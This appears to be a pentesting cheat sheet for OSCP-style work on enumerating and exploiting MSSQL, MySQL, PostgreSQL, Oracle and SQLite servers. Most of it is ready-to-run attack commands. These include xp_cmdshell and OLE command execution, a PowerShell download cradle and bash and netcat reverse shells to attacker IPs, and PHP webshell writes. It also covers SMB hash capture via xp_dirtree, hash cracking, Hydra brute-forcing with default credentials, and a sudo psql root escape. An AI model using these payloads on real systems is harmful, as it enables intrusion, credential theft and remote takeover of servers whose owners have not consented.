2270 words
11 minutes
SQL Injection

Database Enumeration & Exploitation Cheat Sheet#

I. Enumeration Chronology (The Workflow)#

  1. Identity & Context: “Who am I and what permissions do I have immediately?” (Don’t waste time querying tables if you are already sysadmin).
  2. Environment: “What version/OS is this?” (Checks for known CVEs or specific exploits like xp_cmdshell).
  3. Privilege Hunting: “Can I impersonate someone? Are there other admins? Are there Linked Servers?”
  4. Database Structure: “What databases exist? Where is the sensitive data stored?”
  5. System Interaction (The Goal): “Can I read files, write shells, or execute system commands?”

II. MSSQL (Microsoft SQL Server)#

Context: Highly prevalent in Windows environments. Primary targets during OSCP include Remote Code Execution (RCE) via xp_cmdshell, privilege escalation via Token Impersonation, and lateral movement via Linked Servers. Default port: 1433/TCP.

Connection#

  • Impacket: impacket-mssqlclient DOMAIN/User:Password@192.168.x.x -windows-auth

    • Remove -windows-auth for local auth.
  • NetExec (Testing logins): nxc mssql 192.168.x.x -u User -p Password

  • Sqsh (Linux Client): sqsh -S 192.168.x.x -U DOMAIN\\User -P Password


Phase 1: Identity & Current Privileges#

FunctionCommand (T-SQL)
All-in-one (whoami)SELECT SYSTEM_USER AS [Login_Name], USER_NAME() AS [DB_User], IS_SRVROLEMEMBER('sysadmin') AS [Is_Sysadmin], DB_NAME() AS [Current_DB], @@SERVERNAME AS [Server_Name];
Current UserSELECT SYSTEM_USER; or SELECT user_name();
Is Admin?SELECT IS_SRVROLEMEMBER('sysadmin'); (Returns 1 if yes)
All My PermissionsSELECT * FROM fn_my_permissions(NULL, 'SERVER');
Effective PermsEXECUTE AS LOGIN = 'sa'; SELECT * FROM fn_my_permissions(NULL, 'SERVER'); REVERT;
Get Your SIDSELECT SUSER_SID();
Get Windows GroupsEXEC xp_logininfo 'DOMAIN\User', 'all';
List Server LoginsSELECT name, type_desc, is_disabled FROM sys.server_principals;
List DB UsersSELECT name, type_desc, authentication_type_desc FROM sys.database_principals;

Phase 2: Environment & Users#

FunctionCommand (T-SQL)
Server VersionSELECT @@version;
List All UsersSELECT name FROM master..syslogins;
List Admin UsersSELECT name FROM master..syslogins WHERE sysadmin = '1';
Active SessionsSELECT login_name, host_name, program_name FROM sys.dm_exec_sessions;
Find ‘Control’ UsersSELECT pr.name, pe.permission_name FROM sys.server_principals pr JOIN sys.server_permissions pe ON pr.principal_id = pe.grantee_principal_id WHERE pe.permission_name = 'CONTROL SERVER';

Phase 3: Privilege Escalation & Lateral Movement#

FunctionCommand (T-SQL)
Check ImpersonationSELECT distinct b.name FROM sys.server_permissions a INNER JOIN sys.server_principals b ON a.grantor_principal_id = b.principal_id WHERE a.permission_name = 'IMPERSONATE';
Impersonate UserEXECUTE AS LOGIN = 'sa'; SELECT SYSTEM_USER; (Run REVERT; to go back)
Find Linked ServersEXEC sp_linkedservers; or SELECT * FROM sys.servers WHERE is_linked = 1;
Query Linked ServerSELECT * FROM OPENQUERY("REMOTE_SERVER", 'SELECT SYSTEM_USER');
Exec on RemoteEXEC ('xp_cmdshell ''whoami''') AT [REMOTE_SERVER];
Chain Linked ServersSELECT * FROM OPENQUERY("SERVER1", 'SELECT * FROM OPENQUERY("SERVER2", ''SELECT SYSTEM_USER'')');
Steal Hash (SMB)EXEC master..xp_dirtree '\\<YOUR_IP>\share'; (Catch with Responder/Inveigh)

Phase 4: Database & Table Enumeration#

FunctionCommand (T-SQL)
List DatabasesSELECT name FROM master..sysdatabases;
List Tables (Current DB)SELECT * FROM information_schema.tables;
Search Columns (Pass)SELECT table_name, column_name FROM information_schema.columns WHERE column_name LIKE '%pass%';
Read DataSELECT * FROM [DBName].[SchemaName].[TableName]; (e.g., dbo.users)
Find Passwords Across DBEXEC sp_MSforeachdb 'USE [?]; SELECT ''?'' AS DB, * FROM information_schema.columns WHERE column_name LIKE ''%pass%'';';

Phase 5: Command Execution (RCE)#

If you have sysadmin privileges, you can enable specific features to achieve RCE.

FunctionCommand (T-SQL)
Enable xp_cmdshellEXEC sp_configure 'show advanced options', 1; RECONFIGURE; EXEC sp_configure 'xp_cmdshell', 1; RECONFIGURE;
Run CommandEXEC xp_cmdshell 'whoami /priv';
Enable OLE AutomationEXEC sp_configure 'show advanced options', 1; RECONFIGURE; EXEC sp_configure 'Ole Automation Procedures', 1; RECONFIGURE;
Run Command via OLEDECLARE @myshell INT; EXEC sp_oacreate 'wscript.shell', @myshell OUTPUT; EXEC sp_oamethod @myshell, 'run', null, 'cmd.exe /c whoami > C:\temp\out.txt';

Phase 6: File System Access#

FunctionCommand (T-SQL)
Read Local FileSELECT * FROM OPENROWSET(BULK N'C:\Windows\System32\drivers\etc\hosts', SINGLE_CLOB) AS Contents;

T-SQL Syntax Primer#

Before enumerating, understanding the structure of T-SQL (Transact-SQL) commands prevents relying on blind copy-pasting.

  • SELECT: Retrieves data from tables or system views.

  • EXEC / EXECUTE: Runs a Stored Procedure (pre-compiled scripts built into the server). Often prefixed with sp_ (System Procedure) or xp_ (Extended Procedure, which interacts with the OS).

  • master..[table]: The master database stores system-level information. The .. skips the schema name, directly querying the table (e.g., master..syslogins).

  • OPENQUERY: Executes a pass-through query on a linked server. Useful for bypassing local restrictions or querying different environments (like Active Directory).

  • ';: Statement terminator. In SQL injection, you often use ; to end the developer’s query and begin your own.


Extended MSSQL Enumeration Note#

1. Identity & Permissions#

Establish who you are and what you can do.

GoalT-SQL CommandExplanation
Current User & DBSELECT SYSTEM_USER, DB_NAME();Identifies your login name and current context.
Check SysadminSELECT IS_SRVROLEMEMBER('sysadmin');Returns 1 if you have full server control.
List Server LoginsSELECT name, is_disabled FROM sys.server_principals;Identifies all accounts that can log into the server.
Check ImpersonationSELECT b.name FROM sys.server_permissions a INNER JOIN sys.server_principals b ON a.grantor_principal_id = b.principal_id WHERE a.permission_name = 'IMPERSONATE';Identifies if your current user can assume the privileges of a higher-privileged user (like sa).
Execute ImpersonationEXECUTE AS LOGIN = 'sa';Switches your context. Run REVERT; to drop back.

2. Database & Data Extraction#

Locate sensitive data within the hosted databases.

GoalT-SQL CommandExplanation
List All DatabasesSELECT name FROM master..sysdatabases;Enumerates available databases to target.
Search ColumnsSELECT table_name, column_name FROM information_schema.columns WHERE column_name LIKE '%pass%';Hunts for credential tables within the current database.
Read Table DataSELECT * FROM [DatabaseName].[SchemaName].[TableName];Extracts the actual data.
Coercionnxc mssql $DC_IP -u users.txt -p passwords.txt --local-auth -M mssql_coerce -o LISTENER=$Attacker_IPStart a listener:
sudo responder -I tun0
  • Schema is something like dbo

3. Remote Code Execution (RCE)#

Translate database access into operating system access. Requires sysadmin privileges.

GoalT-SQL CommandExplanation
Enable xp_cmdshellEXEC sp_configure 'show advanced options', 1; RECONFIGURE; EXEC sp_configure 'xp_cmdshell', 1; RECONFIGURE;

xp_cmdshell powershell.exe Invoke-WebRequest -Uri "http://<IP>/file -OutFile file.exe
Turns on the extended procedure required to run OS commands.
Execute CommandEXEC xp_cmdshell 'whoami';Runs the command in the context of the SQL Server service account.
Enable OLEEXEC sp_configure 'show advanced options', 1; RECONFIGURE; EXEC sp_configure 'Ole Automation Procedures', 1; RECONFIGURE;Alternative RCE method if xp_cmdshell is heavily monitored or blocked.

4. Lateral Movement: Linked Servers#

Linked servers allow MSSQL to execute commands on remote database instances.

GoalT-SQL CommandExplanation
Find Linked ServersEXEC sp_linkedservers;Lists remote servers configured for access.
Test Remote AccessSELECT * FROM OPENQUERY("REMOTE_SRV", 'SELECT SYSTEM_USER');Executes a basic query on the remote server to verify connection and context.
Remote RCEEXEC ('xp_cmdshell ''whoami''') AT [REMOTE_SRV];Attempts to run OS commands on the linked server.

5. Active Directory Enumeration via Linked Servers#

If a linked server is configured to use the ADSI (Active Directory Service Interfaces) provider, you can query the Domain Controller directly using LDAP via SQL.

GoalT-SQL CommandExplanation
Query All AD UsersSELECT * FROM OPENQUERY(ADSI, 'SELECT name, sAMAccountName FROM ''LDAP://DC=domain,DC=local'' WHERE objectClass=''user''');Extracts domain users. Replace ADSI with the name of the AD linked server.
Query AD GroupsSELECT * FROM OPENQUERY(ADSI, 'SELECT name FROM ''LDAP://DC=domain,DC=local'' WHERE objectClass=''group''');Extracts domain groups.
Search specific userSELECT * FROM OPENQUERY(ADSI, 'SELECT distinguishedName FROM ''LDAP://DC=domain,DC=local'' WHERE sAMAccountName=''Administrator''');Finds the distinguished name of a specific target.

If a hash is found in DB:#

ASP.NET Membership Hash Cracking (DNN)

Requirements#

Extract Password (Base64 Hash) and PasswordSalt (Base64 Salt) from the database where PasswordFormat = 1.

Hashcat (Mode 140)#

Hashcat requires the base64 strings converted to hexadecimal format: hash:salt. 1. Convert and format (Python):

python3 -c 'import base64; print(f"{base64.b64decode(\"BASE64_HASH\").hex()}:{base64.b64decode(\"BASE64_SALT\").hex()}")' > hashes.txt

2. Execute Hashcat:

hashcat -m 140 hashes.txt /usr/share/wordlists/rockyou.txt
John the Ripper (JTR) — BETTER.#

JTR uses the episerver format and accepts raw base64 strings. *0* denotes SHA-1.

1. Format the string:

Save the following syntax into hashes.txt:

$episerver$*0*<BASE64_SALT>*<BASE64_HASH>

2. Execute JTR:

john --format=episerver hashes.txt --wordlist=/usr/share/wordlists/rockyou.txt
Applicability#

This method specifically targets the legacy ASP.NET SqlMembershipProvider using default SHA-1 hashing.

Works When:

  • Legacy ASP.NET Membership provider is used.
  • PasswordFormat = 1 (Hashed).
  • web.config defines hashAlgorithmType as SHA1 (default in older .NET frameworks like DNN).

Alternative Scenarios:

  • Different Hash Algorithm: Stronger algorithm in web.config (e.g., SHA256). Use Hashcat mode 1420.
  • ASP.NET Identity Framework: Modern framework, hashes usually start with AA... or AQ.... Use Hashcat mode 10000 (PBKDF2-HMAC-SHA1) or 10400 (PBKDF2-HMAC-SHA512).
  • Encrypted Passwords: PasswordFormat = 2 (AES/3DES). Cannot be cracked. Requires extracting machineKey from web.config to decrypt.
  • Cleartext: PasswordFormat = 0. No cracking required.

Phase 5: RCE & System Interaction#

Enable xp_cmdshell:

EXEC sp_configure 'show advanced options', 1; RECONFIGURE;
EXEC sp_configure 'xp_cmdshell', 1; RECONFIGURE;
-- DON'T FORGET TO ADD `-- -`--

Commands & File I/O:

FunctionCommand (T-SQL)
Execute CommandEXEC xp_cmdshell 'whoami';
PowerShell DownloadEXEC xp_cmdshell 'powershell "IEX (New-Object Net.WebClient).DownloadString(\"http://<IP>/rev.ps1\");"';
Check File ExistEXEC master..xp_fileexist 'C:\boot.ini';
Read RegistryEXEC master..xp_regread 'HKEY_LOCAL_MACHINE', 'SOFTWARE\Microsoft\Windows NT\CurrentVersion', 'ProductName';
List DrivesEXEC master..xp_fixeddrives;

III. MySQL / MariaDB#

Context: Common in Linux. RCE often requires INTO OUTFILE or UDF.

Locations & Basic Syntax#

  • Mac: /usr/local/mysql/bin
  • Windows: /Program Files/MySQL/MySQL version/bin
  • Xampp: /xampp/mysql/bin
  • Login: mysql -u root -p'root' -h $IP -P 3306 --skip-ssl-verify-server-cert
    • Also try with blank password.

Phase 1: Identity & Context#

FunctionCommand (SQL)
Current UserSELECT user();
Current PrivilegesSHOW GRANTS;
All Users/PrivsSELECT user, host, grant_priv, super_priv FROM mysql.user;
Secure File PrivSELECT @@secure_file_priv; (Empty means write access allowed)

Phase 2: Enumeration#

FunctionCommand (SQL)
List DatabasesSHOW DATABASES;
Select DatabaseUSE [database_name];
List TablesSHOW TABLES;
Search ColumnsSELECT table_schema, table_name, column_name FROM information_schema.columns WHERE column_name LIKE '%pass%';
Read HashesSELECT host, user, authentication_string FROM mysql.user;
Read Contents of TableSelect * from <table_name>

Phase 3: System Interaction (File I/O)#

FunctionCommand (SQL)
Read FileSELECT LOAD_FILE('/etc/passwd');
Write WebshellSELECT '<?php system($_GET["cmd"]); ?>' INTO OUTFILE '/var/www/html/shell.php';
Check Plugin DirSELECT @@plugin_dir; (For UDF exploitation)

MySQL Shell (mysqlsh) Enumeration Guide#

Core Usage

  • Target: MySQL X Protocol (Default Port 33060).
  • Connection: mysqlsh <user>@<IP>:33060 --password="<pass>" --ssl-mode=DISABLED
    • Extra flags: --mysqlx, --mysqlc

Enumeration Steps

  1. Switch to SQL Mode: \sql
  2. Context: SELECT user();, SELECT @@version;, SHOW GRANTS;
  3. Discovery: SHOW DATABASES;
  4. Tables: USE <db_name>;, SHOW TABLES;
  5. Data Extraction: SELECT * FROM <table_name>;

IV. PostgreSQL#

Connect with: psql -h <server_ip_address> -U <username> -d <database_name> -p 5432

Context: Strong file read/write capabilities and RCE via extensions.

FunctionCommand (SQL)
Current UserSELECT current_user;
List Users/RolesSELECT usename, usesuper FROM pg_user;
Password HashesSELECT usename, passwd FROM pg_shadow; (Requires admin)
List DatabasesSELECT datname FROM pg_database;
Read FileSELECT pg_read_file('/etc/passwd');
Write FileCOPY (SELECT 'shell code') TO '/var/www/html/shell.php';
RCE (Program)COPY (SELECT '') TO PROGRAM 'whoami'; (Superuser > 9.3)

Get a reverse shell:#

1. Attack Infrastructure Setup: Enable SSH#

  • Objective: Allow incoming SSH connections to the attacker machine, typically to facilitate reverse port forwarding.
  • Configuration: Edit /etc/ssh/sshd_config.
  • Action: Ensure password authentication is enabled by setting PasswordAuthentication yes.
  • Command:
sudo service ssh start

2. Reverse Port Forwarding (Execution on Target)#

  • Objective: Expose a restricted internal service (e.g., a database) on the target machine to the attacker machine via an SSH tunnel.
  • Command:
ssh -R *:<ATTACKER_PORT>:localhost:<TARGET_INTERNAL_PORT> <ATTACKER_USER>@<ATTACKER_IP>

3. Service Interaction#

  • Objective: Connect to the newly exposed internal service locally from the attacker machine.
  • Command (PostgreSQL Example):
psql -h 127.0.0.1 -p <ATTACKER_PORT> -U <DB_USER> -d <DB_NAME>

4. Remote Code Execution (RCE) via Database#

  • Objective: Exploit database functionality to force the target to send a reverse shell back to the attacker.
  • Prerequisite: Set up a network listener on the attacker machine (e.g., nc -lvnp <LISTENER_PORT>).
  • Commands (PostgreSQL COPY FROM PROGRAM Example):
CREATE TABLE tmp(t text);
COPY tmp FROM PROGRAM 'bash -c "/bin/bash -i >& /dev/tcp/<ATTACKER_IP>/<LISTENER_PORT> 0>&1"';

WE CAN ALSO TAKE SHELL BY DOING: \! /bin/sh

5. Initial Post-Exploitation#

  • Objective: Assess immediate privilege escalation vectors upon catching the reverse shell.
  • Prerequisite: Obtain a stable, interactive TTY shell to ensure commands execute reliably without breaking the session.
  • Command:
sudo -l

6. Shell Stabilization#

  • Objective: Upgrade a limited, non-interactive reverse shell into a semi-interactive TTY shell to ensure commands run reliably.
  • Command:
python3 -c 'import pty;pty.spawn("/bin/bash")'

7. Privilege Escalation (Sudo Abuse)#

  • Objective: Leverage misconfigured sudo permissions to run a specific binary with elevated privileges.
  • Context: This relies on the findings from the sudo -l command executed in the previous phase.
  • Command (PostgreSQL Example):
sudo psql -h 127.0.0.1 -p <PORT> -U <DB_USER> <DB_NAME>

8. Root Shell Escape#

  • Objective: Break out of the elevated binary’s environment to obtain a system-level root shell.
  • Mechanism: Utilize the binary’s built-in capability to execute arbitrary system commands.
  • Command (PostgreSQL Example):
\! /bin/sh

V. Oracle Database#

Context: Uses FROM dual for single-row queries.

Phase 1: Identity & Environment#

FunctionCommand (PL/SQL)
Current UserSELECT user FROM dual;
VersionSELECT banner FROM v$version;
Current PrivsSELECT * FROM session_privs;
List DBA UsersSELECT username FROM dba_users;

Phase 2: RCE (Scheduler)#

BEGIN
DBMS_SCHEDULER.CREATE_JOB (
job_name => 'RCE',
job_type => 'EXECUTABLE',
job_action => '/bin/sh',
number_of_arguments => 1
);
DBMS_SCHEDULER.SET_JOB_ARGUMENT_VALUE('RCE', 1, '-c "nc -e /bin/sh <IP> <PORT>"');
DBMS_SCHEDULER.ENABLE('RCE');
END;

VI. SQLite#

Context: Serverless, file-based database. It has no internal user management or privilege system; access relies entirely on OS-level file permissions. Exploitation usually occurs via SQL injection in the host application or local file access.

Connection#

[!INFO]

sqlite3 database.db

Phase 1 & 2: Environment & Database Enumeration#

FunctionCommand (SQLite)
VersionSELECT sqlite_version();
List TablesSELECT name FROM sqlite_master WHERE type='table';
Table Schema (DDL)SELECT sql FROM sqlite_master WHERE type='table';
List Columns (Specific Table)PRAGMA table_info('table_name');
Search Columns (Requires v3.16.0+)SELECT m.name AS table_name, p.name AS column_name FROM sqlite_master m JOIN pragma_table_info(m.name) p WHERE m.type = 'table' AND p.name LIKE '%pass%';
Read DataSELECT * FROM [Table];

Phase 3: System Interaction (File I/O & RCE)#

SQLite limits system interaction by design, but file writing is possible if the underlying directory is writable by the application executing the SQL.

FunctionCommand (SQLite)
Write Webshell (File Creation)ATTACH DATABASE '/var/www/html/shell.php' AS shell; CREATE TABLE shell.webshell (cmd TEXT); INSERT INTO shell.webshell (cmd) VALUES ('<?php system($_GET["cmd"]); ?>');
Load Extension (RCE via .so/.dll)SELECT load_extension('/tmp/malicious.so'); (Note: Frequently disabled by default in modern environments).

Read File (SQLite CLI Only)#

Standard pure SQL in SQLite cannot read arbitrary files unless specific extensions are loaded. If you have access to the sqlite3 command-line interface, you can use .import:

CREATE TABLE temp_read(content TEXT);
.import '/etc/passwd' temp_read
SELECT * FROM temp_read;

VII. Default Credentials & Brute-Forcing#

Context: Before hunting for complex vulnerabilities, always verify if the database was deployed with default or blank credentials.

WARNING

A Note on SQLite: SQLite does not have network authentication, users, or a native credential system. It relies entirely on OS-level file permissions. Therefore, brute-forcing or default credential checks do not apply to SQLite.

1. MSSQL (Microsoft SQL Server)#

The default administrative account for SQL Server Authentication is sa.

Common Default Credentials:

  • sa / <blank>
  • sa / sa
  • sa / password

Manual Connection Commands:

ConditionCommand
Blank Passwordimpacket-mssqlclient sa@<IP> -no-pass
Known Passwordimpacket-mssqlclient sa:password@<IP>
Alternative (sqsh)sqsh -S <IP> -U sa -P ''

Hydra Brute-Force:

(Focusing on the sa user is usually the highest yield).

# Brute-force 'sa' with rockyou
hydra -l sa -P /usr/share/wordlists/rockyou.txt mssql://<IP>
# Brute-force with a user list and password list
hydra -L /usr/share/seclists/Usernames/top-usernames-shortlist.txt -P /usr/share/wordlists/rockyou.txt mssql://<IP>

2. MySQL / MariaDB#

The default administrative account is root. It is frequently left without a password on basic or development deployments.

Common Default Credentials:

  • root / <blank>
  • root / root
  • admin / admin

Manual Connection Commands:

ConditionCommand
Blank Passwordmysql -u root -h <IP> --skip-ssl-verify-server-cert
Known Passwordmysql -u root -p'root' -h <IP> --skip-ssl-verify-server-cert

Hydra Brute-Force:

# Brute-force 'root' with rockyou
hydra -l root -P /usr/share/wordlists/rockyou.txt mysql://<IP>
# Brute-force multiple default users
hydra -L /usr/share/seclists/Usernames/top-usernames-shortlist.txt -P /usr/share/wordlists/rockyou.txt mysql://<IP>

3. PostgreSQL#

The default administrative account is postgres. It often defaults to the password postgres or is configured to trust local connections (though network connections usually require auth).

Common Default Credentials:

  • postgres / postgres
  • postgres / <blank>
  • admin / admin

Manual Connection Commands:

ConditionCommand
Blank Passwordpsql -h <IP> -U postgres
Known Passwordpsql -h <IP> -U postgres -W (Will prompt for password)

Hydra Brute-Force:

# Brute-force 'postgres' with rockyou
hydra -l postgres -P /usr/share/wordlists/rockyou.txt postgres://<IP>
# Brute-force with dedicated Postgres wordlists
hydra -L /usr/share/seclists/Usernames/top-usernames-shortlist.txt -P /usr/share/wordlists/rockyou.txt postgres://<IP>

4. Oracle Database#

Oracle is notorious for having hundreds of default accounts depending on the installed components. Connecting usually requires knowing the SID or Service Name first (which can be enumerated via Nmap: nmap -p 1521 --script oracle-sid-brute <IP>).

Common Default Credentials:

  • scott / tiger
  • sys / change_on_install (Often requires AS SYSDBA)
  • system / manager
  • dbsnmp / dbsnmp

Manual Connection Commands:

ConditionCommand
Standard Connectsqlplus scott/tiger@<IP>:1521/<SID>
Connect as SYSDBAsqlplus sys/change_on_install@<IP>:1521/<SID> "AS SYSDBA"

Hydra Brute-Force:

NOTE

Hydra’s Oracle modules (oracle and oracle-listener) can be unstable depending on the Oracle version. ODAT (Oracle Database Attacking Tool) or Nmap scripts are often more reliable for Oracle.

# Hydra syntax (Requires knowing the SID)
hydra -L /usr/share/seclists/Usernames/OracleDefaultUsernames.txt -P /usr/share/seclists/Passwords/OracleDefaultPasswords.txt oracle://<IP>:1521/<SID>
# Alternative: Nmap Oracle Brute-force (Often more reliable in OSCP labs)
nmap -p 1521 --script oracle-brute -v <IP>